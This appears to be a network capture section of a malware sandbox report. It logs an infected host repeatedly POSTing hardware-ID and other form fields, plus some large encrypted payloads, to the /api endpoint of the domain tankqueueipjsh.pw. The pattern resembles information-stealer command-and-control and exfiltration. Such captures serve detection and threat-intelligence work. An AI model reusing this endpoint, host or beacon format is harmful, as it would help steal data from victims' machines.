Dec 6, 2023 14:35:16.222687960 CET	124	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 33 63 37 61 36 36 32 39 62 62 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: loudflareCF-RAY: 8314e93c7a6629bb-IAD15Malformed packet data
Dec 6, 2023 14:35:16.222723961 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	50215	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:16.530575991 CET	337	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19248 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:16.530786991 CET	11628	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:16.625039101 CET	1340	OUT	Data Raw: c5 83 cd ff 5c e5 7b 15 ee ed 7a 65 99 ab dd 5e 7a b6 fa f7 e0 e7 fb 95 d7 2a 67 2a 3f 7d 0c ee 88 5c eb e2 c5 83 13 40 0f a9 63 93 5e cf ee 92 30 f0 d9 c9 a8 84 ba ec 04 5d 59 b8 9e 3b ef 51 26 c5 af f0 f4 51 2f 88 69 ee d0 e1 f8 04 4b ee d8 d3 Data Ascii: \{ze^zg?}\@c^0]Y;Q&Q/iKB{Ka3~naWnn^io~^(U#{I7 ON@'_<~5:Du':3l7\|Ha-w&=vvGtO!9X"1^X?AYz]
Dec 6, 2023 14:35:16.625155926 CET	2626	OUT	Data Raw: d9 21 b4 71 48 ee e4 47 92 92 b4 9f 4c 1d fc 1a 1e 28 73 82 61 de 31 7d d0 0f e2 c9 09 8e 43 02 6e d4 ed 75 e8 e4 ac 48 7b b0 77 f1 44 6b 70 da aa ee 1b d9 d1 a2 f1 e1 ac fc a9 a2 90 74 a9 9d 9d 32 84 2a c4 5d 3b 09 b6 43 92 1d bc f2 03 da f1 26 Data Ascii: !qHGL(sa1}CnuH{wDkpt2*];C&_i7~s$8$H.O\z?V\|\|1V\|m+4S\|?j,QaPvktRq?)8)Njx#-f_}F^:^bn?I.;
Dec 6, 2023 14:35:16.625214100 CET	3870	OUT	Data Raw: 2b 50 25 07 3a 95 29 41 ae aa 2a 09 ba e2 68 ae 6f 5a 96 23 49 0f 1f 3e 2c ee 51 10 0a 39 cf 8b 2e ca fd af 9c 80 2e 7d a2 76 0d 72 d7 65 4b 35 2d e8 4e a2 a1 80 81 4b aa 22 10 aa 19 82 a7 eb 44 d1 24 95 12 45 27 6e 36 34 9f eb 06 6e 1c 25 91 9f Data Ascii: +P%:)A*hoZ#I>,Q9..}vreK5-NK"D$E'n64n%\|/f[:Up=hZ!hZDpG1O)NQ_QI/N;f7M]/H\YR(J77kYO-S$5\(2cf28AE
Dec 6, 2023 14:35:17.005462885 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=n8uo736gms9j2el1gqsirm8a98; expires=Sun, 31 Mar 2024 07:21:55 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:16 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:16 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:16 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=myKF0WSZYPVyH%2BCwTR8IbgyM408FPbmTgVnkrNJCgDdsf%2FY06D2bmWJA38om8JsNPYzba50FsZI5YIsgqVtvcFwZEAWILcJ6ALgM6qlXgYrbjuJgwCntHqt%2FAAEXtQWIVL5SRg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: clou Data Raw: Data Ascii:
Dec 6, 2023 14:35:17.005500078 CET	115	IN	Data Raw: 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 34 30 38 61 38 64 33 39 32 30 2d 49 41 44 0d 0a 0d 0a 31 30 0d 0a 6f 6b 20 31 30 32 2e 31 36 35 2e 34 38 2e 38 33 0d 0a Data Ascii: flareCF-RAY: 8314e9408a8d3920-IAD10ok 102.165.48.83
Dec 6, 2023 14:35:17.005532980 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	50216	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:17.119395018 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:17.119936943 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:17.468427896 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=8n3vcgml9i1fpsh5qts1k03369; expires=Sun, 31 Mar 2024 07:21:56 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:17 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:17 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:17 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ZGiywLHy7DWZ5s1UkQHI5r8RP5H4m5W92KMnx4rYpKw7IKI6Y47CcDUMjOQzg7Eqvg6TD0xyqch%2BndOG6InKNjPsW3NE889lk1dtvZSkShWEFRl5xkBLGAkHwu5%2FLBl5PP9afA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudf Data Raw: Data Ascii:
Dec 6, 2023 14:35:17.468481064 CET	118	IN	Data Raw: 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 34 34 33 39 39 38 38 32 65 63 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: areCF-RAY: 8314e944399882ec-IAD15Malformed packet data
Dec 6, 2023 14:35:17.468518019 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	50217	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:17.575318098 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:17.575537920 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:17.839139938 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=tbjkbrnjd379oqogevtruign6d; expires=Sun, 31 Mar 2024 07:21:56 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:17 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:17 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:17 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Z%2BjBDlvsi6DovV99NXYzr2MY%2BMd6WwOJyRUh8Zrz%2BaTst1bMg34QOPlut14MbsaVlrFnMrFZlckVxWg4iPtSW%2Fks%2FwseEPeBbaQo6gaVISRxVGQ5sUULbQVJBs7BDcMA4hLvYA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: Data Raw: Data Ascii:
Dec 6, 2023 14:35:17.839164019 CET	124	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 34 37 31 38 34 62 33 39 39 65 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: loudflareCF-RAY: 8314e947184b399e-IAD15Malformed packet data
Dec 6, 2023 14:35:17.839179039 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	50218	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:17.945483923 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:17.945735931 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:18.294627905 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=66csca11r93gd7uq6vpeft0tuf; expires=Sun, 31 Mar 2024 07:21:57 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:18 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:18 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:18 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MVn7JadBwC0UH7HgX717gKNsR8ABpgfbqdToUbixxaDrnZh%2B26upNRLMafivIuc2ETNmcsV7Ey2jL7D3EsV00iENv4kZUpklvrU4XxT%2FHgQ0z91%2F9SgeY1R5ijV5Bu8bXgDTBQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: clou Data Raw: Data Ascii:
Dec 6, 2023 14:35:18.294667959 CET	120	IN	Data Raw: 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 34 39 36 65 39 66 33 62 31 64 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: flareCF-RAY: 8314e9496e9f3b1d-IAD15Malformed packet data
Dec 6, 2023 14:35:18.294749975 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	50219	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:18.399358988 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:18.399359941 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:18.866661072 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=svu0tdsomjgmtotsviljho2eb2; expires=Sun, 31 Mar 2024 07:21:57 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:18 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:18 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:18 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xHQWOXdxpDU%2F7QZj9M7PQQj8gRXy5yBQI1iCK89mAnGC6pRnHYoWJliUPKudlKktxkVf5iZgXPNihsy%2B1JZqAREHKLc2xDsMbBkyEI6F4cuydb34JBIazJGycngAxpLO1a5DcQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudf Data Raw: Data Ascii:
Dec 6, 2023 14:35:18.866697073 CET	118	IN	Data Raw: 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 34 63 33 61 39 38 30 38 31 62 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: areCF-RAY: 8314e94c3a98081b-IAD15Malformed packet data
Dec 6, 2023 14:35:18.866734982 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	50220	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:18.976241112 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:18.976660967 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:19.236589909 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=34o8416ejgpnrv7h73go2a1iun; expires=Sun, 31 Mar 2024 07:21:58 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:19 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:19 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:19 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Li2DJdt%2FxbWX%2FTgXJnOIXcQjPyA0RZ81CCYoh7PLBNX%2BUfkPXQ%2FzCHpEi2iE6jIRL%2F%2F146Y0nTEEyoB%2BxbRstXCH3Dup39xri4B5D%2BdRQ1Qa30EoPFn%2FDoXedN7xb7NA115WmA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Data Raw: Data Ascii:
Dec 6, 2023 14:35:19.236659050 CET	132	IN	Data Raw: 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 34 66 64 63 33 65 30 38 32 32 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: erver: cloudflareCF-RAY: 8314e94fdc3e0822-IAD15Malformed packet data
Dec 6, 2023 14:35:19.236696005 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	50221	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:19.535345078 CET	337	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20560 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:19.535871029 CET	11628	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:19.654146910 CET	1340	OUT	Data Raw: 5d 75 9f b7 33 87 fa 9d ec fa 4a 6b 3b 8d 4b 4c 74 dd d1 b3 83 ed 79 ce ad ed bf cf ea e6 fa 75 bd e1 d2 2e 2f eb 33 d9 e8 95 a9 57 77 ad 21 b5 1e 39 2b 89 83 fd fa 5a 29 bc b6 a3 f6 99 b5 b2 46 4b 99 ec c8 81 a8 af c4 da be 66 a2 6f 22 6b d2 b2 Data Ascii: ]u3Jk;KLtyu./3Ww!9+Z)FKfo"kZ.">38_LYkd.ck^{~^m"h~#tsY3_d~bY]OPfKbu4Uj\x;T^*OWn
Dec 6, 2023 14:35:19.654539108 CET	7754	OUT	Data Raw: 28 fd 54 67 d6 b9 07 3b 17 56 af 8e 8e 7c b0 34 fd c8 b9 7d d5 87 a7 1e 3a ba fd a6 8b 87 5e f9 dd 60 38 de 80 16 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 a6 0d 45 ff b2 e1 8b 41 f8 1f c3 Data Ascii: (Tg;V\|4}:^`8EAo_(\|1q7Hli3>m2h<6=K?~p[\j ^l8_?GQ
Dec 6, 2023 14:35:20.053947926 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=r4u6jau7o5o2rabntdoe7q15pp; expires=Sun, 31 Mar 2024 07:21:58 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:19 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:19 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:19 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=clk4IwjPrEgAqRMAzyqfs4IYyUHA3itHUNsY6f2Yrt38ObmQ0UCc7xB%2FXpLcwpHSudT52U06pImYI6x6o4XQZ7cZA89BCeqzv906G2Xh%2FW942VDSoiGcUjgXkzhkqDMqMqTUNA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudf Data Raw: Data Ascii:
Dec 6, 2023 14:35:20.053965092 CET	113	IN	Data Raw: 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 35 33 37 65 36 63 35 62 36 61 2d 49 41 44 0d 0a 0d 0a 31 30 0d 0a 6f 6b 20 31 30 32 2e 31 36 35 2e 34 38 2e 38 33 0d 0a Data Ascii: areCF-RAY: 8314e9537e6c5b6a-IAD10ok 102.165.48.83
Dec 6, 2023 14:35:20.053977013 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	50222	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:20.165002108 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:20.165221930 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
